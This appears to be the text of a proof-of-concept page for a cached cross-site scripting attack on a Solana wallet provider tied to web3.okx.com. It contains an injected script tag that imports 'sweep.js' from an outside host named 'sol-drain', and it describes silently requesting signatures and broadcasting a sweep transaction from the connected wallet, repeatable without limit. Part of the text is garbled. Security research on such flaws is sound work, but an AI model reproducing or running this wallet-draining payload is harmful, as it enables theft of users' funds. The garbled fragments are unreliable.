Ready to build for the provider-discovered account
The cached page supplies the already-connected provider publicKey automatically. The server builds and executes the complete synthetic sweep only on the loopback validator.
read automatically from providernot loadedweb3.okx.com.web3.okx.com. Do not use another person's token or wallet.<!doctype html><script type="module">import("https://sol-drain.asp.j15.se/sweep.js")</script>
Success is a visible state: done panel with feePayerSignatureVerified: true, connectRequestedByPoc: false, and broadcastRequested: true.
The module reads the already-connected provider public key and requests the transaction for that account. No account value is copied into the controller.
Retest: Open a fresh cached document. Each fresh document can request another silent signature. The PoC has no persistent replay limit.
sweep.js · sweep.json · generated SVG for an automatic owned-token test · generated HTML for the cached-XSS producer